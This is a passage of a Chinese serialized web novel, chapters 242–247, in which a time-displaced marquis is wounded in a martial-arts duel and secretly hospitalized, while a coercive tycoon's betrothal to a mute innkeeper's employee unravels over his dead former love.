身形一晃,如夜枭般悄无声息地掠起,足尖在斑驳的墙面上轻轻一点,便已翻身跃入墙内。 院内空旷得令人心悸,几株老树的枝桠在夜风中张牙舞爪,投下扭曲的影子。 空气中混杂着一种浓烈、刺鼻的味道——血腥与腐朽。 裴应见眉头微蹙。 他循着那股气息,朝着院子深处那间最大的屋子潜行而去。 越是靠近,那股血腥味便越是浓重。 就在他即将抵达那间屋子时,身后不远处,那熟悉的“骨碌碌”声再次响起。 裴应见猛然回身。 月光下,那张狰狞的面具,那独臂独腿的身影,正从一株老树后缓缓转出,轮椅无声地碾过地面。 四目相对。 没有半分言语。 下一瞬,两人几乎同时动了! 裴应见身形如电,掌风凌厉,直取对方面门! 而那轮椅上的男人,仅存的右手猛地一抬,一股无形的劲力便已呼啸而出,竟是隔空发力! “嘭!” 双力相撞,发出一声闷响。 裴应见只觉得一股巨力涌来,身形不由自主地向后滑退了数步,脚下踩碎了几片枯叶。 他心中一凛。 好强的内力! 那面具人却是不依不饶,轮椅一转,竟以一种不可思议的速度欺近身来,独臂化掌,带着一股阴寒至极的劲风,再次拍向裴应见。 裴应见侧身避过,反手一记手刀劈向对方肩颈。 招式狠辣,直指要害。 面具人身形在轮椅上微微一晃,竟以一个诡异的角度避开了裴应见的攻击,同时那只独臂如灵蛇出洞,刁钻地抓向裴应见的手腕。 “啪!” 两人手臂相交,裴应见只觉得对方手臂坚逾钢铁,一股阴寒内力透体而入,让他气血翻涌。 这功夫路数…… 裴应见瞳孔骤缩! 这人的武功,与当初遇到的那个红衣女杀手,竟有七八分相似。 但无论是内力还是招式的精妙狠戾,都远在那红衣女子之上。 他几乎可以断定,那红衣女杀手,定然与此人,与这座诡异的大宅脱不了干系。 高手过招,瞬息万变。 面具人攻势越发凌厉,每一招都透着一股不顾一切的疯狂与毁灭之意,仿佛不是在与人对战,而是在撕碎一件玩物。 裴应见越打越是心惊。 此人的武功之高,生平罕见。 他虽竭力抵挡,却依旧被逼得步步后退,身上已挨了好几下重击,喉头一阵腥甜。 再斗下去,讨不到好。 裴应见虚晃一招,猛地向后跃出,便要借力遁走。 “想走?”面具人发出一声沙哑的低笑,轮椅滑动,竟比裴应见奔行的速度还要快上几分,如影随形地追了上来,独臂一扬,一道乌光破空而出,直取裴应见后心! 裴应见察觉到背后恶风不善,急忙扭身避让。 “嗤啦——” 乌光擦着他的肋下而过,衣衫被划开一道长长的口子,火辣辣的疼痛传来,已然见了血。 “裴应见……裴侯爷。你逃不掉的。”面具人那双深渊般的眼睛死死盯着他,“你死了,倒是能帮月娘一个大忙。” 裴应见心头巨震。 月娘? 此人认得他! 还提到了月娘! 这月娘到底是谁? 与秦绵绵有什么关系? 与这个神秘的男人又有什么关系? 无数念头在电光火石间闪过。 面具人却不给他思索的机会,掌风已至面门,带着必杀的决心。 这一掌,避无可避! 裴应见眼看就要中招,眼中却闪过一丝轻蔑的笑意。 一片浓雾忽然从四面八方浮起来。 裴应见微微一笑。 面具人那志在必得的一掌,重重拍在了空处。 他微微一怔,看着眼前空空如也的地面,那双深不见底的眸子里,第一次露出了一丝错愕与困惑。 人呢? …… 海城,夜。 晚风带着湖边特有的咸湿气息,吹在脸上十分舒爽。 李一鸣和房小雪并肩走在景区新修的石板路上,路灯将他们的影子拉得老长。 “今天……今天谢谢你陪我出来散心。”房小雪拢了拢被风吹乱的鬓发,声音轻轻的。 “不客气不客气!”李一鸣连忙摆手,脸上是掩不住的笑意,“我……我其实也挺喜欢逛逛的。这儿风景真不错,空气也好。” 他搜肠刮肚地想找些话题,却又怕说错了什么惹她不快。 房小雪侧头看了他一眼,唇边泛起浅淡的笑意:“是啊,景区的夜景,确实有种宁静的美。” 李一鸣被她这一眼看得心头小鹿乱撞,挠了挠后脑勺,嘿嘿傻笑。 两人有一搭没一搭地聊着,大多是李一鸣在说些无关痛痒的趣事,房小雪安静地听着,偶尔回应一两句。 气氛算不上热烈,却也并不尴尬,透着一种小心翼翼的融洽。 将房小雪送到她住处楼下,李一鸣看着她上了楼,房间的灯亮起,他才长长舒了口气,脸上依旧带着傻乎乎的笑容,转身往客栈方向走去。 月上中天,客栈门前两盏灯笼散发着昏黄的光。 李一鸣哼着不成调的小曲,心情愉悦地走到客栈门口,一眼便看见门槛旁倚坐着一道身影。 那人背对着他,身形看着有些熟悉。 “谁啊?这么晚了还不睡?”李一鸣随口问了一句,走近几步,待看清那人的侧脸,顿时眼睛一亮,喜上眉梢。 第243章 不像是意外 “裴先生!你可算回来了!我跟你说,掌柜的托我办的事儿都妥了!最好的私人医院,还有从京城请来的专家,都联系好了,就等我师傅去做个配型……” 李一鸣兴冲冲地说着,伸手就想去拍对方的肩膀。 然而,那人却一动不动,像是没听见他的话。 李一鸣脸上的笑容微微一滞,察觉到有些不对劲。 他凑近了些:“裴先生?你怎么了?不舒服吗?” 依旧没有回应。 借着门前昏黄的灯光,李一鸣这才看清,裴先生的脸色苍白如纸,嘴唇干裂,没有一丝血色,额头上覆着一层细密的冷汗,呼吸也显得格外微弱。 李一鸣心中“咯噔”一下,一股不祥的预感涌上心头。 他小心翼翼地伸出手,轻轻推了推裴应见的胳膊。 “裴先生?你……” 话音未落,倚靠在门框上的裴应见,竟像是失去了所有支撑,身子一软,直直地朝着旁边倒了下去! “哎!裴先生!”李一鸣大惊失色,眼疾手快地一把将他扶住,入手却是一片冰凉和湿濡。 他低头一看,只见他胸前的衣襟已经被暗红色的血迹浸透了大半,还在不断地往外渗,浓郁的血腥味瞬间钻入鼻腔。 李一鸣整个人都懵了。 “这么多血……裴先生!裴先生你醒醒!” 他慌乱地探了探他的鼻息,那气息微弱得几乎感觉不到。 “来人啊!快来人啊!”李一鸣扯着嗓子喊起来,“掌柜的!罗小胖!出事了!裴先生他……他快不行了!” …… 裴应见被以最快速度抬进了客栈,所幸客栈近来还是没什么客人,所有人都围在裴应见身边。 秦绵绵眉头紧锁,搭上裴应见的脉搏,又迅速检查了他胸前的伤口,脸色愈发凝重。 “他中了毒,而且外伤极重,肋骨恐怕也断了,必须马上送医院。” “医院?”罗小胖一听,脑袋摇得像拨浪鼓,“不行不行!普通医院绝对不行!上次裴先生他受伤中毒,咱们去的那家医院,就闹出了多少闲话。而且,他上次只住了一天就强行出院,实在是太惹眼了!这次再去,万一上了新闻怎么办?” 罗小胖急得额头冒了汗,不为别的,只因为他是除了秦绵绵之外,唯一一个了解裴应见真实来历的人。 秦绵绵何尝不知这个道理,裴应见的来历是天大的秘密,一旦暴露,后果不堪设想。可眼下这情况,拖延不得。 就在众人一筹莫展之际,李一鸣猛地一拍大腿:“我!我知道一个地方!掌柜的你之前不是让我给我师傅找医院?我联系好了一家私人医院,那家医院绝对靠谱!” 他见秦绵绵和罗小胖都看向他,连忙道:“那家医院的院长,是我爷爷以前的徒弟,受过我们家大恩的!医疗设备和医生水平都是顶尖的,最重要的是,王院长人品绝对信得过,我跟他打声招呼,保证不会泄露半点风声!” 秦绵绵点头:“好,就去那里!罗小胖,你跟我一起,李一鸣,你开车,快!” 几人手忙脚乱地将裴应见抬上李一鸣那辆半旧的越野车,引擎发出一声轰鸣,便朝着海城市区方向疾驰而去。 夜色深沉,车内气氛压抑得让人喘不过气。 秦绵绵神色沉静,但在看不见的地方,却轻轻握住了裴应见冰冷的手。 那家私人医院坐落在海城一处僻静的区域,环境清幽。 车子刚到门口,一个穿着白大褂,戴着金边眼镜,约莫五十岁上下的中年男人已经等在了那里,神色焦急。 正是李一鸣口中的王院长。 “一鸣,怎么回事?电话里也没说清楚,病人呢?” “王叔,快!我朋友,伤得很重!”李一鸣跳下车,急忙招呼着。 王院长看到被抬下来的裴应见那副模样,也是吃了一惊,但多年的从医经验让他迅速镇定下来:“别慌,马上安排手术室!跟我来!” 手术室的灯亮起,将门外等候的几人隔绝在外。 时间一分一秒地过去。 不知过了多久,手术室的门终于打开。 王院长摘下口罩,脸上带着几分疲惫,却也有一丝如释重负: “手术很成功。外伤处理好了,肋骨也接上了。不过他中的毒有些棘手,成分很复杂,我们已经做了初步的清毒处理,暂时稳住了情况,但后续还需要进一步观察和治疗。” 听到“手术很成功”五个字,秦绵绵神色一松。 “谢谢您,王院长。” 王院长摆摆手:“应该的。一鸣的面子,我肯定得给。病人已经转到特护病房了,你们可以去看看,但暂时不要打扰他休息。” 他顿了顿,看向秦绵绵和李一鸣,神色略带探究:“这位先生的伤……不像是意外啊。” 李一鸣闻言,立刻打了个哈哈,上前一步,半挡在秦绵绵身前,压低了声音对王院长道: “王叔,实不相瞒,我这位朋友……身份有些特殊,执行的也是秘密任务,所以……您懂的。” 他挤了挤眼睛,一副“你知我知”的神秘模样。 王院长何等精明,立刻会意,点了点头,不再追问,只是意味深长地看了李一鸣一眼:“既然是特殊情况,我自然会处理好。放心,我们医院的保密工作,绝对一流。” 他话锋一转,脸上露出一丝温和的笑意,看向李一鸣的目光也多了几分亲切: “一鸣你不知道啊,当年我还是个穷学生,李老师当年对我有一饭之恩……后来又有了知遇之恩……若不是李老师接济,又肯指点我医术,哪有我的今天。这份恩情,我一直记在心里!” 王院长拍了拍李一鸣的肩膀: “所以,你的事情,就是我的事情。你说的那个心脏病人,所有术前准备,包括专家团队,都已经安排妥当,随时可以进行配型和后续手术。你尽管放心。” 秦绵绵听到关于云承月的事,心中微微一动,上前一步:“王院长,这次真是太感谢您了。” “秦小姐客气了。”王院长客气地回应,“救死扶伤,本就是医生的天职。你们先去看看病人吧,有什么需要,随时找我。” 送走了秦绵绵和李一鸣,王院长脸上的笑容却忽然敛去。 第244章 神秘女人 他回到自己的办公室,关上门,从抽屉里拿出一个款式老旧的手机。 他犹豫了片刻,还是按下了那个烂熟于心的号码。 电话响了几声,便被接通了。 “喂?”一个女人的声音从听筒里传来,带着几分慵懒,却又透着一股难以言喻的魅惑。 王院长的呼吸霎时有些急促,握着电话的手指微微收紧,声音也不自觉地放低了许多,带着一丝小心翼翼的讨好:“……是我。” “哦?王院长啊……这么晚了,有事?” “有……有件事,我觉得应该跟你说一下。”王院长舔了舔有些发干的嘴唇,“今天晚上,李一鸣送来一个病人,伤得很重。” “李一鸣?李神医的那个孙子?” “是的。关键是那个病人……很奇怪。他穿着一身古装,像是从戏文里走出来的人。身上中的毒,成分非常复杂,我行医这么多年,也是头一次见到。还有他身上的伤,肋骨断了,胸口有掌印,反正不像是普通的伤……” 电话那头沉默了片刻。 王院长能听到自己心脏“怦怦”直跳的声音。 “他叫什么名字?长什么样子?”女人的声音陡然急促了几分。 王院长愣了一下:“这个……李一鸣只说是他朋友,叫裴先生,别的没多说。至于长相……他伤得很重,脸色苍白,不过……眉眼之间,确实……确实有几分英气逼人。” 女人的声音再次响起,带着一种不说不清的兴奋: “好,我知道了。我会立刻过去!” 王院长闻言,声音都有些颤抖了:“……你要来海城?太好了!太好了!” 女人轻笑了一声,那笑声如同羽毛般搔刮着王院长的心尖: “怎么?这么大的消息,我是不是该好好谢谢你,王院长?” 王院长像是被那笑声蛊惑了心神,急切地说道: “不!不用谢!能……能为你做事,是我的荣幸!我……我只是……只是想……” 他深吸一口气,鼓足了勇气,声音里带着卑微的乞求,“我……我已经十多年没见过你了……我……我天天都梦见你……” 女人发出两声意味不明的轻笑,没有回应他的深情表白,只是淡淡地说道:“等我到了,再联系你。” 说完,便干脆利落地挂断了电话。 王院长听着听筒里传来的忙音,脸上的激动与狂喜却丝毫未减,反而像是得到了天大的恩赐一般,将那部老旧的手机紧紧贴在胸口,喃喃自语: “她要来了……她终于要来了……” 他眼中闪烁着痴迷的光芒,仿佛已经看到了那个让他魂牵梦萦了十多年的身影。 …… 窗外的天色由深黑渐渐转为鱼肚白,又从鱼肚白染上了几缕晨曦的金边。 裴应见在一阵阵尖锐的刺痛中缓缓睁开了眼睛。 首先映入眼帘的,是素白的天花板,鼻尖萦绕着一股淡淡的消毒水气味。 他动了动手指,只觉得浑身像是被拆散了重组一般,每一处都叫嚣着酸痛。 “醒了?” 一道略带沙哑,却依旧清悦的声音在耳边响起。 裴应见艰难地转过头,便看见秦绵绵坐在床边的椅子上,眼下带着淡淡的青黑,显然是一夜未眠。 她手中还拿着一块湿润的毛巾,似乎刚刚才替他擦拭过额头。 “水……”他的嗓子干涩得像是要冒烟。 秦绵绵立刻起身,倒了一杯温水,小心翼翼地扶起他的头,将水杯凑到他唇边。 温热的水流滋润了干裂的喉咙,裴应见感觉舒服了不少。 他看着秦绵绵,她神色平静,但那双一向深邃的眸子此刻却布满了血丝。 “感觉怎么样?”秦绵绵放下水杯,替他捋了捋头发。 裴应见没有立刻回答,只是看着她。 月光下的激战,那个面具人阴狠的招式,以及那句“你死了,倒是能帮月娘一个大忙”,在他脑海中反复回荡。 “你怎么把自己弄成这副德行的?” 秦绵绵见他不说话,又开口道,语气里似乎很是揶揄。 好像他不是经历了大战,而只是去玩乐才把自己弄成这样的。 裴应见忍不住苦笑一声,不知道从哪里说起。 然后,第一个念头就是想开口询问关于月娘的事情。 他有一种强烈的预感,这个“月娘”与秦绵绵,甚至与他自己,都有着千丝万缕的联系。 “掌柜的,裴先生,你们醒啦!” 病房的门突然被人从外面推开,罗小胖探头探脑地走了进来,手上还提着一个保温桶。 “裴先生,你可算醒了!真是吓死我们了!”罗小胖将保温桶放在床头柜上,“掌柜的,你得赶紧回客栈去,你忘了今天是萧玦上门提亲下聘的日子了?你得回去主持大局啊!” 裴应见原本因为罗小胖的打扰而微蹙的眉头,在听到“提亲下聘”四个字时,不着痕迹地皱得更深了些。 秦绵绵只好简单跟他解释了一番这件事的经过。 客栈那边确实不能没人。 她看了一眼裴应见,他伤势虽重,但好在已经脱离危险。 “我知道了。这家伙刚醒,麻烦你你仔细照看着他,有什么事立刻通知我。” “放心吧掌柜的,保证完成任务!”罗小胖拍着胸脯。 秦绵绵点了点头,又转向裴应见,声音放缓了些:“你好好休息,别乱动,有什么不舒服就跟罗小胖说。” 裴应见看着她,没有说话,眼神却几乎要拉丝,任谁都能看得出那是挽留的意思。 秦绵绵心中一软。 起身欲走,突然又回头对罗小胖道: “你帮我看看窗外那棵树上,是不是落了只奇怪的鸟?” “鸟?什么鸟?” 罗小胖果然被吸引了注意力,好奇地凑到窗边向外张望。 就在罗小胖扭头的一瞬间,秦绵绵突然俯下身,在裴应见微凉的唇上,轻轻印下了一个吻。 如蜻蜓点水,一触即分。 裴应见微微睁大了眼睛。 秦绵绵却已经直起身,丢下一句“我走了”,便头也不回地快步离开了病房。 第245章 你的白月光 罗小胖还在窗边嘀咕:“哪有什么奇怪的鸟啊,掌柜的你看错了吧……” 裴应见抬手,指尖轻轻碰了碰自己的嘴唇,那里似乎还残留着她柔软的触感和淡淡的馨香。 他看着紧闭的房门,眼神复杂,嘴角却不受控制地微微扬起了一个极浅的弧度。 这丫头…… …… 秦绵绵回到客栈时,天已大亮。 阳光透过雕花木窗,在大堂地上投下斑驳的光影。 朱七妹和小宝已经穿戴整齐,坐在大堂的八仙桌旁。 小宝穿着一身簇新的衣服,衬得小脸愈发玉雪可爱,只是眉宇间带着一丝与年龄不符的安静。 朱七妹则是一身素净的衣裙,头发一丝不苟地挽在脑后,神色平静无波,仿佛即将到来的不是一场决定她后半生命运的提亲,而只是一场寻常的会客。 秦绵绵走到她身边坐下,看着她,最后一次轻声问道:“七妹,你真的……都想好了?” 朱七妹抬眸,对上秦绵绵关切的眼神,微微一笑,然后伸出手,认真地比划起来:【掌柜的,你不必再问,我心意已决。】 她的眼神坚定,不容置喙。 秦绵绵叹了口气,不再多言。 她了解朱七妹的性子。 一旦决定的事情,九头牛都拉不回来,这种性格才是她认识的朱七妹。 不多时,客栈外传来一阵喧哗,紧接着便是汽车引擎由远及近的轰鸣声。 很快,一列黑色的轿车停在了客栈门口,车队浩浩荡荡,气派非凡。 为首那辆加长豪车的车门打开,萧玦一身定制西装,坐着轮椅走了下来,难得地看起来不似平常那么阴郁。 他身后跟着数名黑衣保镖,还有一个身着玄色布衣,面容冷峻,眼神锐利的男人,那人正是萧玦的贴身仆从,平日里沉默寡言,却武功高强,深得萧玦信任。 “把东西都搬进去!”萧玦一挥手。 他身后的保镖们立刻行动起来,从后续车辆的后备箱里,将一个个精心包装、系着红绸的箱子搬了出来,鱼贯而入,很快就在客栈大堂内堆起了一座小山。 那玄衣中年男人上前一步,手中展开一卷烫金的礼单,朗声念道: “京城核心地段私人定制豪宅一栋,海城一线海景顶层公寓两套,全球限量版劳斯莱斯幻影定制款一辆,另配迈巴赫商务车队。顶级珠宝品牌‘永恒之光’系列全套定制钻饰及祖母绿套链。萧氏集团旗下三家盈利子公司百分之五的股权,以及银行转账一亿……” 礼单极长,中年男人足足念了一刻钟的功夫才念完。 每一项聘礼都价值不菲,奢华到了令人咋舌的地步。 李一鸣陪着秦绵绵回来的,饶是他也是京城医药世家的小公子,但也没见过这等阵仗,不由看直了眼,大气都不敢出。 念完礼单,萧玦从仆从手中接过,走到朱七妹面前,将礼单递到她手上:“七妹,这些聘礼,你可还满意?婚期,你想订在哪一天?” 朱七妹接过礼单,垂眸扫了一眼,脸上露出一抹浅淡的笑容,比划道: 【聘礼我很满意。婚期,你看着办就好。】 萧玦闻言,脸上的笑容更盛:“好!既然如此,那我们就挑个最近的黄道吉日,尽快把婚事办了!” 朱七妹却微微摇了摇头,继续比划: 【只是,除了之前的那些条件,我还有一个要求。】 朱七妹抬起头,迎上萧玦的目光: 【婚礼那天,我希望有一个人,必须到场观礼。】 【这个人若是不来,这婚,我不结。】 萧玦脸上的笑容微微一僵:“谁?” 客栈大堂内,那堆积如山的聘礼在晨光下闪烁着耀眼的光芒,却驱不散此刻空气中陡然升起的凝滞。 朱七妹没有立刻回答。 她垂着眼帘,看着自己交叠在膝上的双手。 片刻之后,才伸出手,慢慢地,一字一顿地比划起来。 【岑小柔。】 【姚祁的干姐姐,你的……白月光。】 萧玦脸上的血色在一瞬间褪得干干净净。 他像是被什么无形的东西狠狠击中,身体微微晃了晃,轮椅的轮子在地面上发出轻微的摩擦声。 大堂内死一般的寂静。 半晌,萧玦才找回自己的声音:“……她早就死了!骨灰都被姚祁那个混蛋藏起来了!你提她做什么!” 朱七妹脸上的笑容却丝毫未变,她像是听到了什么极其可笑的事情,轻轻摇了摇头,然后再次抬手,比划道:【我知道。】 【我还知道,我不过是她的替身。这些年,你透过我,看的究竟是谁,你心里比谁都清楚。】 这话一出,萧玦的脸色变得铁青,难看到了极点。 他胸口剧烈起伏着,眼神阴鸷得仿佛能滴出水来。 “你胡说!” 【我胡说?】朱七妹的笑容里终于带上了一丝凄然,她直视着萧玦的眼睛,【萧玦,你敢说,你不爱她了吗?你敢当着我的面说,你现在爱的是我朱七妹,而不是那个已经死了的岑小柔?】 她的目光灼灼,像两团燃烧的火焰,要将萧玦心底最深处的秘密都烧出来。 萧玦的嘴唇翕动了几下,想要反驳,想要怒斥,然而,在朱七妹那洞悉一切的目光下,他所有的话都梗在了喉咙里。 他竟然犹豫了。 那份迟疑,虽然只有短短的一瞬,却像一根最尖锐的刺,狠狠扎进了朱七妹的心里。 朱七妹脸上的笑容,在这一刻彻底凝固,然后一点点碎裂开来。 她忽然低低地笑了起来,那笑声空洞而悲凉。 她伸出手,拿起萧玦刚刚递给她的那卷烫金礼单,看也没看,便随手扔在了地上。 【这婚,还是算了吧。】 “你敢!”萧玦猛地一拍轮椅扶手,暴怒地低吼出声,额上青筋暴起,那股阴郁暴戾的气息瞬间席卷了整个大堂。他双目赤红,死死盯着朱七妹,仿佛要将她生吞活剥。 “哇——” 一直安静待在旁边的小宝,被萧玦这突如其来的暴怒吓得浑身一抖,再也忍不住,“哇”的一声大哭起来,小小的身体瑟瑟发抖,惊恐地看着萧玦。 第246章 想要的究竟是什么 孩子的哭声像一盆冷水,猛地浇在了萧玦的头上。 他看着小宝那张布满泪痕、充满恐惧的小脸,眼中的暴戾与怒火,像是被什么东西硬生生压了下去,一点点消退。 他脸上的肌肉抽动了几下,神色复杂地变幻着。 许久,他深吸一口气,紧握的拳头缓缓松开。 再开口时,声音虽然依旧沙哑,却已经没有了方才的戾气。 “七妹,”他看着朱七妹,眼神复杂,“别闹了。我是真心想和你,和小宝,好好过日子。” 他顿了顿,声音更低了些,像是对自己说,又像是对朱七妹保证:“岑小柔……她已经是过去式了。我……已经忘了她了。” 朱七妹只是冷冷地看着他,不为所动。 萧玦闭了闭眼,再睁开时,眼中闪过一丝决断:“好!你不是要她来观礼吗?我答应你!” 他转向身后的玄衣仆从,沉声道:“去联系姚祁,告诉他,无论用什么办法,婚礼那天,我要岑小柔的骨灰……到场!” 玄衣仆从眼中闪过一丝讶异,但还是恭敬地应道:“是。” 朱七妹听到这话,脸上的冰冷才稍稍融化了一些,嘴角那抹嘲讽的弧度却依旧没有消失。 她点了点头,比划道:【希望你,说到做到。】 萧玦深深地看了她一眼,又看了一眼还在抽噎的小宝,眼神黯了黯,挥了挥手:“我们走。” 他没有再多说一句话,操控着轮椅,在保镖的簇拥下,沉默地离开了客栈。 那些价值连城的聘礼,依旧堆放在大堂,在阳光下闪耀着冰冷的光。 秦绵绵看着萧玦离去的背影,又看向朱七妹。 朱七妹依旧静静地坐在那里,脸上挂着那抹若有若无的冷笑,可秦绵绵却分明从那笑容之下,看到了无尽的凄凉与孤注一掷的决绝。 她心中的不安,愈发汹涌起来。 这场婚事,真的能如朱七妹所愿吗? 或者说,朱七妹真正想要的,究竟是什么? …… 萧玦走后,秦绵绵想了想,开车去了姚祁所在的医院。 以萧玦的性子,即便为了婚礼能顺利进行,不会对姚祁怎么样,但也难保不会趁机折辱。 而姚祁的性子,只怕也不会这么容易就把岑小柔的骨灰交出来。 姚祁住的是一间宽敞的VIP病房,秦绵绵到的时候,病房里热闹得很。 一个头发花白但精神矍铄的老爷子,正坐在床边,絮絮叨叨地跟姚祁说着什么。 旁边一个保养得宜的中年妇人,眼圈微红,手里拿着一个削了一半的苹果,时不时插上一两句话。 另外还有两个西装革履的中年男人,正围着床尾嘘寒问暖。 正是姚祁的外公钱老先生,母亲钱晓风,还有他的两个堂舅舅。 姚祁半靠在病床上,脸色还有些苍白,眉宇间略带着一丝不耐烦,对于亲人们的嘘寒问暖,他大多时候都只是敷衍地“嗯”、“啊”两声,视线时不时飘向窗外,显然有些神游天外。 这突如其来的家庭温暖,对于独来独往惯了的姚祁来说,似乎成了一种甜蜜的负担。 “小祁啊,这汤你再喝点,妈守了一上午才熬好的,补身体。”钱晓风端着一碗参汤,柔声劝道。 “放心吧,别胡思乱想,小秦丫头在,这事儿肯定会有解决办法的……”钱老先生絮絮叨叨道。 “阿祁,公司那边你别操心,有我们呢。”两个堂舅舅拍着胸脯保证。 秦绵绵站在门口,看着这幅场景,不禁莞尔。 “咳。”她轻轻咳了一声。 病房内瞬间安静下来,所有人的目光都投向了她。 姚祁看到秦绵绵,原本不耐的神色微微一变。 “我来看看姚祁。”秦绵绵笑着走进去,将手里提着的水果篮放到桌上。 “你们聊,你们聊,我们正好出去透透气。”钱老先生很有眼色地站起身,招呼着女儿和侄子们。 钱晓风也喜笑颜开,一步三回头地叮嘱:“绵绵丫头,你们多聊一会儿哈。” 很快,病房里就只剩下秦绵绵和姚祁两个人。 秦绵绵拉过一把椅子,在床边坐下。 姚祁却有点不自在,咳嗽一声,别过头去。 “你怎么来了。” 语气冷淡,还带着许多傲娇。 谁料下一秒,秦绵绵的巴掌就拍到了他的脑袋上。 姚祁吃痛,嘶了一声,终于转了过来。 “给我就没必要摆这副臭脸了。”秦绵绵教训道,“家里人关心你,你还不知好歹。” 姚祁斜了她一眼:“我的事还是不劳掌柜的操心了……也不用急着来可怜我,还死不了。” “看你这活蹦乱跳的样子,也不像要死。”秦绵绵挑了挑眉,说出了来意,“萧玦今天去客栈下聘了,朱七妹提了个要求,要你姐姐的骨灰,在婚礼那天到场观礼。” 谁知姚祁闻言,脸上却没什么太大的波澜,只是嘴角勾起: “呵,他的人刚才来过了。我答应了。” “这么快?” “有什么快不快的。”姚祁的声音带着一丝自嘲,“你放心,他萧玦再恨我,看在我姐的面子上,总会留我一条狗命。不管我怎么折腾,他都不会真的要了我的命。” 秦绵绵听出他话里的不对劲,眉头微蹙:“什么意思?你姐姐和萧玦之间到底是怎么回事?” 姚祁猛地眯起眼睛,定定地看着秦绵绵,眼神里像是淬了冰,又像是燃着火。 “什么意思?”他嗤笑一声,“掌柜的,你该不会以为萧玦那副痛不欲生的样子,是真的因为爱到深处,所以念念不忘?” 秦绵绵没有说话,只是静静地看着他,等他继续。 姚祁扯了扯嘴角: “他萧玦算什么东西?也配提我姐姐?” “他不是爱我姐姐!” “他只是得不到,所以疯魔了……我姐姐岑小柔,是被他活活逼死的!” 秦绵绵心中一震。 “萧玦自从幼年时,就一直对我姐姐念念不忘。后来他有了势力,就到处找我姐姐,可我姐姐根本对他毫无感觉,而且当时已经有了心上人。可他不管,仗着萧家的势力,巧取豪夺,用尽了手段。” 第247章 没有骨灰 “他先是用手段害死了我姐姐的恋人,然后又用她家人的生意,爸妈的工作,来威胁她。她们家只是普通人家,哪里斗得过他?” “我姐姐为了家人,只能被迫跟他在一起。那些年,她过得生不如死。萧玦那个人,占有欲强到变态,我姐姐多看别人一眼,他都会发疯。他把我姐姐当成金丝雀一样囚禁起来,美其名曰保护,实际上呢?是折磨!” “后来……姐姐的外公受不了打击,一病不起,很快就去了。她的爸妈也因为常年忧心姐姐,身体垮了,没过两年也相继走了……” 姚祁的声音越来越低,一向戏谑的脸上带着无尽的讥诮和悲伤。 “……她本来身体就不好,接二连三的打击让她也彻底垮了。她得了重病,治不好的那种……最后,她是在萧玦为她准备的惊喜订婚宴前一天,吞了安眠药,走的。” “他以为他能得到她,结果,他连她的尸体都差点没保住。”姚祁说到这里,话锋一转,脸上露出一抹快意的恨,“所以他才这么痛苦,不是因为爱,是因为不甘心。是因为他亲手毁了自己最想得到的东西,却连后悔的资格都没有!” 病房内一片死寂。 秦绵绵听着这些,心中唏嘘不已。 原来这看似深情的背后,竟是如此不堪的真相。 萧玦的偏执和疯狂,令人不寒而栗。 她轻轻叹了口气,看着姚祁:“那你答应把骨灰给他……” “骨灰?”姚祁像是听到了天大的笑话,眼底的嘲弄更深了,“他萧玦也配碰我姐姐的骨灰?我告诉你,我姐根本就没有火化!” 秦绵绵一怔。 “我是把她葬了的。就在那个墓园,我每年都会偷偷去看她。” 他的神色忽然变得有些茫然和困惑:“可是我也不知道为什么,里面竟然是空的,连棺材都不见了。” 秦绵绵眉头紧蹙。 这件事她是知道的,萧玦把他跟去墓园还动手打了姚祁的视频给她看过。 那坟墓里,真的是空的。 不知道为什么,秦绵绵此刻突然心念电转,心里隐隐有了一个猜测。 但她不动声色,并没有把自己的猜测说出来。 姚祁沉默片刻,道:“萧玦定的婚礼就在七天后,在海城国际酒店。” 秦绵绵点点头: “你现在伤势未愈,不宜跟他硬碰硬。既然你答应了他,骨灰的事情总得有个交代,你可以想点别的办法,这两天好好养伤,到时候随机应变。” 姚祁轻轻“嗯”了一声,算是认同了。 “那你好好休息,我走了。”秦绵绵便起身要走。 姚祁看着她,眼中略有不舍,嘴唇动了动,似乎想说什么,最后却只是别扭地挥了挥手,声音依旧带着几分傲娇:“知道了知道了,啰嗦。赶紧走吧。” 秦绵绵看他这副口是心非的样子,忍不住失笑,摇了摇头,转身离开了病房。 病房的门轻轻合上,隔绝了外界的喧嚣。 姚祁脸上的那份故作轻松和不耐烦渐渐褪去,取而代之的是一片沉郁。 …… 从姚祁的病房出来,秦绵绵驱车,径直去了裴应见所在的私立医院。 刚踏入裴应见那一层的住院区,便听见走廊尽头护士站那边,几名当值护士正凑在一起,压低了声音议论着什么,神情带着几分新奇。 “……真的,就跟拍戏似的,也穿着那种古装,头发好长……” “我瞧见了,还坐着轮椅呢,眼睛好像有点毛病,是不是看不见……” “裴先生那位朋友吗?看起来好有气质,就是不知道为什么会弄成这样……” 秦绵绵脚步一顿。 古装,轮椅,眼盲……云承月? 裴应见这么快把他带来了? 秦绵绵快步走向裴应见的病房。 推开门,里面却空无一人。 裴应见的病床整理得整整齐齐,旁边那张陪护的空床上,也只有叠放整齐的被褥。空气里,消毒水的气味依旧,却平添了几分冷清。 “掌柜的?” 罗小胖提着两袋吃食,从外面探进头来,见到秦绵绵有些讶异,再往里一看,更是一愣: “咦?裴先生他们呢?我刚下去买个饭的工夫,人怎么不见了?” 秦绵绵拧眉,正待开口,病房门又被人急匆匆地推开。 来人正是王院长。 王院长却并不跟秦绵绵打招呼,目光先在病房内迅速扫了一圈,见空无一人,语气顿时拔高了几分: “人呢?裴先生和他那位朋友呢?我刚安排好了,要给那位……那位眼睛不便的先生做个详细检查,怎么就不在了?” 秦绵绵看着他过于急切的神情,心中那丝异样感愈发清晰。 她平静地答道:“我刚到,也不清楚。罗小胖,你离开前,他们还在?” “在啊!”罗小胖连忙点头,“裴先生刚醒没多久,那位……那位云先生也一直陪着,两人还说了会儿话呢。我寻思着他们该饿了,就下去买点清淡的。” 王院长急得在原地转了两圈,搓着手:“……这可怎么好!检查的仪器和专家都候着呢!” 他像是突然想起什么,连忙吩咐跟在身后的助手,“快!派人去医院各处找找!尤其是顶楼花园和咖啡厅!” 助手应声匆匆离去。 秦绵绵的目光不经意间扫过病房墙壁上挂着的电视。 电视开着,屏幕上正循环播放着一部时下颇受欢迎的仙侠电视剧,画面精致,配乐悠扬,只是在这空荡的病房里,显得有些突兀。 她若有所思地收回视线,对王院长道: “王院长不必着急,他们或许只是出去透透气。我知道他们平日里喜欢去些清静的地方,我去找找看,应该能找到。” “秦小姐知道?”王院长闻言,像是抓住了救命稻草,眼睛一亮,“那太好了!” 秦绵绵淡淡一笑,转向罗小胖,“走了,我们去找人。” 罗小胖“哦”了一声,虽然满心疑惑,但还是乖乖跟上。 